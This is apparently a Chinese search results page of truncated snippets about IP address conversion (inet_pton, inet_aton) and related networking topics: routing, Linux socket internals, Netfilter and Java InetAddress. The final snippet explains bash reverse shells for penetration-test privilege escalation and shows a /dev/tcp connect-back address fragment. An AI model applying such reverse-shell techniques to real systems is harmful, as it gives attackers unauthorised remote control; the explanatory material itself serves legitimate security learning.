首页
学习
活动
专区
工具
TVP
发布

socket inet_pton

inet_pton   Linux下这2个IP地址转换函数,可以在将IP地址在“点分十进制”和“整数”之间转换   而且,inet_pton和inet_ntop这2个函数能够处理ipv4和ipv6。.../inet.h>   int inet_pton(int af, const char *src, void *dst);   这个函数转换字符串到网络地址,第一个参数af是地址族,转换后存在dst中...  inet_pton 是inet_addr的扩展,支持的多地址族有下列:   af = AF_INET   src为指向字符型的地址,即ASCII的地址的首地址(ddd.ddd.ddd.ddd格式的)...(AF_INET, IPdotdec, (void *)&s);   printf("inet_pton: 0x%x\n", s.s_addr); // 注意得到的字节序   // 反转换   inet_ntop...(AF_INET, (void *)&s, IPdotdec, 16);   printf("inet_ntop: %s\n", IPdotdec);   }

2.3K80
您找到你想要的搜索结果了吗?
是的
没有找到

浅析PHP中的 inet_pton 网络函数

inet_pton是一个IP地址转换函数,可以在将IP地址在“点分十进制”和“二进制整数”之间转换,而且inet_pton和inet_ntop这2个函数能够处理ipv4和ipv6。...定义和用法 inet_pton- 将人类可读的IP地址转换为其打包的in_addr表示形式 版本支持 PHP4 不支持 PHP5 v5.1.0+支持 PHP7 支持 5.3.0 现在,该功能在Windows...语法 inet_pton ( string $address ) 此函数将人类可读的IPv4或IPv6地址(如果PHP是在启用IPv6支持的情况下构建的)转换为适合32位或128位二进制结构的地址系列。...php $in_addr = inet_pton('127.0.0.1'); $in6_addr = inet_pton('::1'); var_dump($in_addr); var_dump...("<br/ "); var_dump($in6_addr); 总结 以上所述是小编给大家介绍的PHP中的 inet_pton 网络函数,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的

54541

配置SDN网关:关于VRF、本地路由及inet-vpn路由

这是一个来自TF的inet-vpn,由SDN GW导入到VRF中。SDN网关和计算节点之间的数据平面是MPLSoUDP。...这是因为我们有inet-vpn、静态、PE-CE路由,而SDN GW必须通告inet路由,并重新通告inet-vpn路由(从TF到RR)。 都有哪些策略?分别控制什么路由?...然而,该策略无法控制已经是inet-vpn路由的路由:这里是指TF路由。 这些路由首先以inet-vpn路由的形式从Tungsten Fabric来,并存储到bgp.l3vpn.0中。...了解VRF策略的范围,以及如何处理属于不同家族的路由(inetinet-vpn)是至关重要的。 如何控制来自TF的路由?...来自TF的路由是inet-vpn的,所以不能依靠VRF导出/导入策略。我们需要根据应用于会话的导出策略对RR(或远程PE)采取行动。

2.8K00

由 Python2 和 Python3 中 socket.inet_aton() 实现不同引发的血案

这几天在做一个功能实现的时候,需要把别人用 Python2.6 写好的脚步转成 Python3.4 实现,大部分地方转化都没啥问题,但是在 socket.inet_aton() 转化的过程中出了点问题...需求目的:把一个 ip 地址使用 socket.inet_aton() 转化后和一个字符串组合,然后算出 MD5。 下面是 Python2.6 的实现代码: #!...(ip) + base_str).digest().encode('hex') TypeError: can't concat bytes to str 提示说的是,socket.inet_aton(ip...也就是说 Python2.6 和 python3.4 中对于 socket.inet_aton(ip) 的实现是有差异的,查官方文档吧。...python2.6文档说明: socket.inet_aton(ip_string) Convert an IPv4 address from dotted-quad string format (for

94231

Shell 命令行获取本机IP,grep的练习

Shell 命令行获取本机IP,grep的练习 在 mac 下面输入 ifconfig 或者在 linux 下面输入 ip a 就可以得到我们的网卡信息。...inet 得到如下信息: inet 127.0.0.1 netmask 0xff000000 inet6 ::1 prefixlen 128 inet6 fe80::1%lo0...我们再排除掉 inet6 和 127 的信息,就可以得到我们的本地IP了 ifconfig | grep inet | grep -v inet6 | grep -v 127 得到 inet 192.168.12.139...需要先把 ~/.bin/ 配置为环境变量,请参考 将这个命令作为一个系统命令,可以随时执行 在 linux centos 7 下面实现获取本机IP的脚本 linux 不使用 ifconfig 命令来获取信息...由于 linux 中得到的信息的最前面不是制表符而是空格,所以加上了 sed 's/^[ \t]*//g' 来清除开头的空格。

6.2K60

linux源码看socket的阻塞和非阻塞 顶

linux源码看socket的阻塞和非阻塞 笔者一直觉得如果能知道从应用到框架再到操作系统的每一处代码,是一件Exciting的事情。 大部分高性能网络框架采用的是非阻塞模式。...笔者这次就从linux源码的角度来阐述socket阻塞(block)和非阻塞(non_block)的区别。 本文源码均来自采用Linux-2.6.24内核版本。...是AF_INET协议,注意在操作系统里面定义了PF_INET等于AF_INET, 内核通过函数指针实现了对pf(net_proto_family)的重载。...则通过源码可知,由于是AF_INET(PF_INET),所以net_families[PF_INET].create=inet_create(以后我们都用PF_INET表示),即 pf->create...希望笔者这篇文章能帮助到阅读linux网络协议栈代码的人。

3.5K20

linux源码看socket的阻塞和非阻塞

笔者这次就从linux源码的角度来阐述socket阻塞(block)和非阻塞(non_block)的区别。 本文源码均来自采用Linux-2.6.24内核版本。...的代码判断: const struct net_proto_family *pf; // RCU(Read-Copy Update)是linux的一种内核同步方法,在此不阐述 // family=INET...如下图所示: 则通过源码可知,由于是AF_INET(PF_INET),所以net_families[PF_INET].create=inet_create(以后我们都用PF_INET表示),即 pf...阻塞后什么时候恢复运行呢 情况1:有对应的网络数据到来 首先我们看下网络分组到来的内核路径,网卡发起中断后调用netif_rx将事件挂入CPU的等待队列,并唤起软中断(soft_irq),再通过linux...希望笔者这篇文章能帮助到阅读linux网络协议栈代码的人。

4.1K20

Linux 网络层收发包流程及 Netfilter 框架浅析

NF_INET_FORWARD-->NF_INET_POST_ROUTING 本地发出:NF_INET_LOCAL_OUT-->NF_INET_POST_ROUTING 4.2 iptables 工具...INPUT 链是在NF_INET_LOCAL_IN节点,FORWARD 链是在NF_INET_FORWARD节点,OUTPUT 链则是在NF_INET_LOCAL_OUT节点。其他表格的链也类似。...在 Linux 内核中,这一个指令会在 Netfilter 网络层NF_INET_LOCAL_IN节点生成处理操作,凡是经过这个钩子节点的数据包,在前面规则都通过的情况下,都必须经过这一规则的检查,如果符合这条规则的匹配条件...如下: // include/linux/netfilter.h enum nf_inet_hooks {     NF_INET_PRE_ROUTING,     NF_INET_LOCAL_IN,...    NF_INET_FORWARD,     NF_INET_LOCAL_OUT,     NF_INET_POST_ROUTING,     NF_INET_NUMHOOKS }; 注册和解注册钩子函数

5.3K32

Java中InetAddress的使用(一):域名解析【享学Java】

---- Java域名解析 Java提供InetAddress类(有Inet4Address和Inet6Address两种实现),可以对域名-IP进行正向、逆向解析。...比如:Linux下默认使用哪个DNS去解析以及其规则是由/etc/resolv.conf该文件制定的(文件的内容如上示例内容) 对于有些域名,例如www.baidu.com,在不同地区拥有不同的IP...否则java.net.UnknownHostException 当然若你是在Linux下通过resolv.conf指定了自己的域名解析器,那么到底解析到哪去由你决定(比如你的内网域名都可以被解析了)...; // IP地址:127.0.0.1 } public static InetAddress getLocalHost():获取本机的地址(这个方法需要特别注意的是,在Linux下不要直接使用) @Test...另外,此方法在Linux下使用几乎永远返回127.0.0.1,因为在Linux下它仅仅是去读取了hosts文件的内容,而Linux下的hosts文件一般内容如下: # 这里你若配置为127.0.0.2,

6.6K42

Linux内核是如何巧妙的初始化各个模块的

相信很多在研究linux内核源码的同学,经常会发现一些模块的初始化函数找不到调用者,比如下面的网络模块的初始化函数: // net/ipv4/af_inet.c static int __init inet_init...秘密就在这个函数之后的一行代码里: fs_initcall( inet_init); 在该行代码中,fs_initcall是一个宏,具体定义如下: // include/linux/init.h #define...到这里我相信很多同学会想,linux内核一定是通过这个变量来调用inet_init函数的,对吗? 对,也不对。...当然可以,这正是linux内核设计的巧妙之处。...我们上面示例中的inet_init方法就属于level 5,也是在这里被调用到的。 linux内核就是通过这种方式来调用各个模块的初始化方法的,很巧妙吧。 最后我们再来总结下: 1.

2K20

反弹Shell

大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。...主机开启9090端口的tcp服务 B主机连接到A主机的9090的tcp服务 A主机通过tcp服务把命令发到B主机 B主机读取命令并且在bash中执行 B主机把执行结果发给A主机 Linux...文件描述符,Linux shell的三种标准的文件描述符 0 - stdin 代表标准输入,使用<或<< 1 - stdout 代表标准输出,使用>或>> 2 - stderr 代表标准错误输出,使用2...check cat: check: 没有那个文件或目录 [root@wcy ~]# /dev/tcp/192.168.233.10/6699 就是/dev/tcp/ip/port, /dev/tcp/是Linux...ip a | grep inet inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host inet 192.168.233.20/24 brd

67530
领券